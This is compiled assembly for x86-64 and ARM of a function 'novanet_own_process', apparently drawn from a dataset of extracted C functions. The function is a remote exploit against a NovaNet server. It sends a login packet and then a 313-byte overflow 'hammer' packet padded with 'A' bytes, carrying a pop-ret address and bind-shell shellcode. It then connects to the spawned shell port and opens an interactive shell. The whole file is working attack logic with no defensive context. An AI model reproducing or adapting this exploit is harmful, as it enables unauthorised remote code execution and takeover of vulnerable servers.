	.file	"extr_33877.c_novanet_own_process.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"novanet_own_process: sockami failed\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"* connected to %s:%d\n"
.LC2:
	.string	"** sending login packet..."
	.section	.rodata.str1.8
	.align 8
.LC3:
	.string	"novanet_own_process: sock_send returned %d (!= %d)\n"
	.section	.rodata.str1.1
.LC4:
	.string	"done"
.LC5:
	.string	"** reading fourth packet..."
	.section	.rodata.str1.8
	.align 8
.LC6:
	.string	"novanet_own_process: sock_recv returned %d (!= %d)\n"
	.align 8
.LC7:
	.string	"** sending remaining %d-bytes packet..."
	.section	.rodata.str1.1
.LC8:
	.string	"** sending hammer packet..."
.LC9:
	.string	"done\n"
	.section	.rodata.str1.8
	.align 8
.LC10:
	.string	"* waiting for the shellcode to be executed..."
	.section	.rodata.str1.1
.LC11:
	.string	"+Wh00t!\n"
	.text
	.p2align 4
	.type	novanet_own_process, @function
novanet_own_process:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	mov	r14, rdi
	push	r13
	push	r12
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	mov	r12, rsi
	push	rbx
	sub	rsp, 24
	.cfi_offset 3, -56
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR NOVANET_PKT_SZ[rip]
	mov	rbx, rsp
	mov	r15, rax
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rbx, rax
	and	rdx, -16
	mov	rax, rbx
	cmp	rsp, rax
	je	.L3
.L23:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L23
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L24
.L4:
	mov	esi, DWORD PTR NOVANET_TCP_PORT[rip]
	mov	rdi, r14
	mov	rbx, rsp
	call	sockami@PLT
	mov	r13d, eax
	cmp	eax, -1
	jne	.L5
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC0[rip]
	xor	eax, eax
	call	fprintf@PLT
	mov	edi, DWORD PTR EXIT_FAILURE[rip]
	call	exit@PLT
.L5:
	mov	edx, DWORD PTR NOVANET_TCP_PORT[rip]
	mov	rsi, r14
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rax, QWORD PTR login_buf[rip]
	mov	edx, DWORD PTR NOVANET_DOMAIN_SZ[rip]
	mov	rsi, r12
	lea	rdi, 84[rax]
	call	memcpy@PLT
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR login_buf[rip]
	mov	edx, 7
	mov	edi, r13d
	call	sock_send@PLT
	mov	ecx, DWORD PTR NOVANET_PKT_SZ[rip]
	mov	edx, eax
	cmp	ecx, eax
	je	.L6
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC3[rip]
	xor	eax, eax
	call	fprintf@PLT
	mov	edi, DWORD PTR EXIT_FAILURE[rip]
	call	exit@PLT
.L6:
	lea	rdi, .LC4[rip]
	call	puts@PLT
	lea	rdi, .LC5[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edx, r15d
	mov	rsi, rbx
	mov	edi, r13d
	call	sock_recv@PLT
	mov	ecx, DWORD PTR NOVANET_PKT_SZ[rip]
	mov	edx, eax
	cmp	ecx, eax
	je	.L7
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC6[rip]
	xor	eax, eax
	call	fprintf@PLT
	mov	edi, DWORD PTR EXIT_FAILURE[rip]
	call	exit@PLT
.L7:
	lea	rdi, .LC4[rip]
	call	puts@PLT
	mov	eax, DWORD PTR NOVANET_HDR_SZ[rip]
	mov	rdx, QWORD PTR rem_buf[rip]
	mov	esi, 313
	lea	rdi, .LC7[rip]
	add	eax, 313
	mov	DWORD PTR 12[rdx], eax
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR rem_buf[rip]
	mov	edx, 7
	mov	edi, r13d
	call	sock_send@PLT
	mov	ecx, DWORD PTR NOVANET_HDR_SZ[rip]
	mov	edx, eax
	cmp	ecx, eax
	je	.L8
	mov	edi, DWORD PTR stderr[rip]
	lea	rsi, .LC3[rip]
	xor	eax, eax
	call	fprintf@PLT
	mov	edi, DWORD PTR EXIT_FAILURE[rip]
	call	exit@PLT
.L8:
	lea	rdi, .LC4[rip]
	call	puts@PLT
	lea	rdi, .LC8[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, 313
	call	malloc@PLT
	mov	edx, 313
	mov	esi, 65
	mov	rdi, rax
	mov	r12, rax
	call	memset@PLT
	mov	eax, DWORD PTR NOVANET_POPRET[rip]
	mov	edx, 7
	mov	rdi, r12
	mov	rsi, QWORD PTR lnx_x86_bind[rip]
	mov	DWORD PTR 308[r12], eax
	call	memcpy@PLT
	mov	edx, 313
	mov	rsi, r12
	mov	edi, r13d
	mov	BYTE PTR 312[r12], 0
	call	sock_send@PLT
	mov	edx, eax
	cmp	eax, 313
	je	.L9
	mov	edi, DWORD PTR stderr[rip]
	mov	ecx, 313
	lea	rsi, .LC3[rip]
	xor	eax, eax
	call	fprintf@PLT
	mov	edi, DWORD PTR EXIT_FAILURE[rip]
	call	exit@PLT
.L9:
	mov	rdi, r12
	call	free@PLT
	lea	rdi, .LC9[rip]
	call	puts@PLT
	mov	edi, DWORD PTR USLEEP_TIME[rip]
	call	usleep@PLT
	mov	edi, r13d
	call	close@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	edi, 2
	call	sleep@PLT
	mov	esi, DWORD PTR PORT_SHELL[rip]
	mov	rdi, r14
	call	sockami@PLT
	mov	r12d, eax
	cmp	eax, -1
	je	.L1
	lea	rdi, .LC11[rip]
	call	puts@PLT
	mov	edi, r12d
	call	shellami@PLT
.L1:
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L25
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
	.p2align 4,,10
	.p2align 3
.L24:
	.cfi_restore_state
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L25:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	novanet_own_process, .-novanet_own_process
	.comm	stderr,4,4
	.comm	rem_buf,8,8
	.comm	login_buf,8,8
	.comm	lnx_x86_bind,8,8
	.comm	USLEEP_TIME,4,4
	.comm	PORT_SHELL,4,4
	.comm	NOVANET_TCP_PORT,4,4
	.comm	NOVANET_POPRET,4,4
	.comm	NOVANET_PKT_SZ,4,4
	.comm	NOVANET_HDR_SZ,4,4
	.comm	NOVANET_DOMAIN_SZ,4,4
	.comm	EXIT_FAILURE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_33877.c_novanet_own_process.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"novanet_own_process: sockami failed\012\000"
	.align	2
.LC1:
	.ascii	"* connected to %s:%d\012\000"
	.align	2
.LC2:
	.ascii	"** sending login packet...\000"
	.align	2
.LC3:
	.ascii	"novanet_own_process: sock_send returned %d (!= %d)\012"
	.ascii	"\000"
	.align	2
.LC4:
	.ascii	"done\000"
	.align	2
.LC5:
	.ascii	"** reading fourth packet...\000"
	.align	2
.LC6:
	.ascii	"novanet_own_process: sock_recv returned %d (!= %d)\012"
	.ascii	"\000"
	.align	2
.LC7:
	.ascii	"** sending remaining %d-bytes packet...\000"
	.align	2
.LC8:
	.ascii	"** sending hammer packet...\000"
	.align	2
.LC9:
	.ascii	"done\012\000"
	.align	2
.LC10:
	.ascii	"* waiting for the shellcode to be executed...\000"
	.align	2
.LC11:
	.ascii	"+Wh00t!\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	novanet_own_process, %function
novanet_own_process:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	add	fp, sp, #32
	sub	sp, sp, #20
	ldr	r5, .L16
	ldr	r10, .L16+4
	ldr	r6, [r5]
	str	r1, [fp, #-48]
	add	r3, r6, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r3, .L16+8
	ldr	r1, [r10]
	ldr	r3, [r3]
	str	r3, [fp, #-40]
	mov	r3,#0
	mov	r7, r0
	bl	sockami
	cmn	r0, #1
	mov	r4, r0
	mov	r8, sp
	beq	.L14
.L2:
	ldr	r9, .L16+12
	mov	r1, r7
	ldr	r2, [r10]
	ldr	r0, .L16+16
	bl	printf
	ldr	r0, [r9]
	ldr	r2, .L16+20
	ldr	r1, [fp, #-48]
	ldr	r2, [r2]
	add	r0, r0, #84
	bl	memcpy
	ldr	r0, .L16+24
	bl	printf
	mov	r2, #3
	mov	r0, r4
	ldr	r1, [r9]
	bl	sock_send
	ldr	r3, [r5]
	cmp	r3, r0
	beq	.L3
	ldr	r1, .L16+28
	mov	r2, r0
	ldr	r0, [r1]
	ldr	r1, .L16+32
	bl	fprintf
	ldr	r3, .L16+36
	ldr	r0, [r3]
	bl	exit
.L3:
	ldr	r0, .L16+40
	bl	puts
	ldr	r0, .L16+44
	bl	printf
	mov	r2, r6
	mov	r1, r8
	mov	r0, r4
	bl	sock_recv
	ldr	r3, [r5]
	cmp	r3, r0
	beq	.L4
	ldr	r1, .L16+28
	mov	r2, r0
	ldr	r0, [r1]
	ldr	r1, .L16+48
	bl	fprintf
	ldr	r3, .L16+36
	ldr	r0, [r3]
	bl	exit
.L4:
	ldr	r5, .L16+52
	ldr	r0, .L16+40
	bl	puts
	ldr	r6, .L16+56
	ldr	r3, [r5]
	ldr	r2, [r6]
	add	r3, r3, #312
	add	r3, r3, #1
	str	r3, [r2, #12]
	ldr	r1, .L16+60
	ldr	r0, .L16+64
	bl	printf
	mov	r2, #3
	mov	r0, r4
	ldr	r1, [r6]
	bl	sock_send
	ldr	r3, [r5]
	cmp	r3, r0
	beq	.L5
	ldr	r1, .L16+28
	mov	r2, r0
	ldr	r0, [r1]
	ldr	r1, .L16+32
	bl	fprintf
	ldr	r3, .L16+36
	ldr	r0, [r3]
	bl	exit
.L5:
	ldr	r6, .L16+60
	ldr	r0, .L16+40
	bl	puts
	ldr	r0, .L16+68
	bl	printf
	mov	r0, r6
	bl	malloc
	mov	r5, r0
	mov	r2, r6
	mov	r1, #65
	bl	memset
	ldr	r3, .L16+72
	ldr	r2, .L16+76
	ldr	r3, [r3]
	ldr	r1, [r2]
	str	r3, [r5, #308]
	mov	r2, #3
	mov	r0, r5
	bl	memcpy
	mov	r3, #0
	mov	r1, r5
	mov	r2, r6
	mov	r0, r4
	strb	r3, [r5, #312]
	bl	sock_send
	cmp	r0, r6
	beq	.L6
	ldr	r1, .L16+28
	mov	r3, r6
	mov	r2, r0
	ldr	r0, [r1]
	ldr	r1, .L16+32
	bl	fprintf
	ldr	r3, .L16+36
	ldr	r0, [r3]
	bl	exit
.L6:
	mov	r0, r5
	bl	free
	ldr	r0, .L16+80
	bl	puts
	ldr	r3, .L16+84
	ldr	r0, [r3]
	bl	usleep
	mov	r0, r4
	bl	close
	ldr	r0, .L16+88
	bl	puts
	mov	r0, #2
	bl	sleep
	ldr	r3, .L16+92
	mov	r0, r7
	ldr	r1, [r3]
	bl	sockami
	cmn	r0, #1
	mov	r4, r0
	beq	.L1
	ldr	r0, .L16+96
	bl	puts
	mov	r0, r4
	bl	shellami
.L1:
	ldr	r3, .L16+8
	ldr	r2, [r3]
	ldr	r3, [fp, #-40]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L15
	sub	sp, fp, #32
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L14:
	ldr	r3, .L16+28
	ldr	r1, .L16+100
	ldr	r0, [r3]
	bl	fprintf
	ldr	r3, .L16+36
	ldr	r0, [r3]
	bl	exit
	b	.L2
.L15:
	bl	__stack_chk_fail
.L17:
	.align	2
.L16:
	.word	NOVANET_PKT_SZ
	.word	NOVANET_TCP_PORT
	.word	.LC12
	.word	login_buf
	.word	.LC1
	.word	NOVANET_DOMAIN_SZ
	.word	.LC2
	.word	stderr
	.word	.LC3
	.word	EXIT_FAILURE
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	NOVANET_HDR_SZ
	.word	rem_buf
	.word	313
	.word	.LC7
	.word	.LC8
	.word	NOVANET_POPRET
	.word	lnx_x86_bind
	.word	.LC9
	.word	USLEEP_TIME
	.word	.LC10
	.word	PORT_SHELL
	.word	.LC11
	.word	.LC0
	.size	novanet_own_process, .-novanet_own_process
	.comm	stderr,4,4
	.comm	rem_buf,4,4
	.comm	login_buf,4,4
	.comm	lnx_x86_bind,4,4
	.comm	USLEEP_TIME,4,4
	.comm	PORT_SHELL,4,4
	.comm	NOVANET_TCP_PORT,4,4
	.comm	NOVANET_POPRET,4,4
	.comm	NOVANET_PKT_SZ,4,4
	.comm	NOVANET_HDR_SZ,4,4
	.comm	NOVANET_DOMAIN_SZ,4,4
	.comm	EXIT_FAILURE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
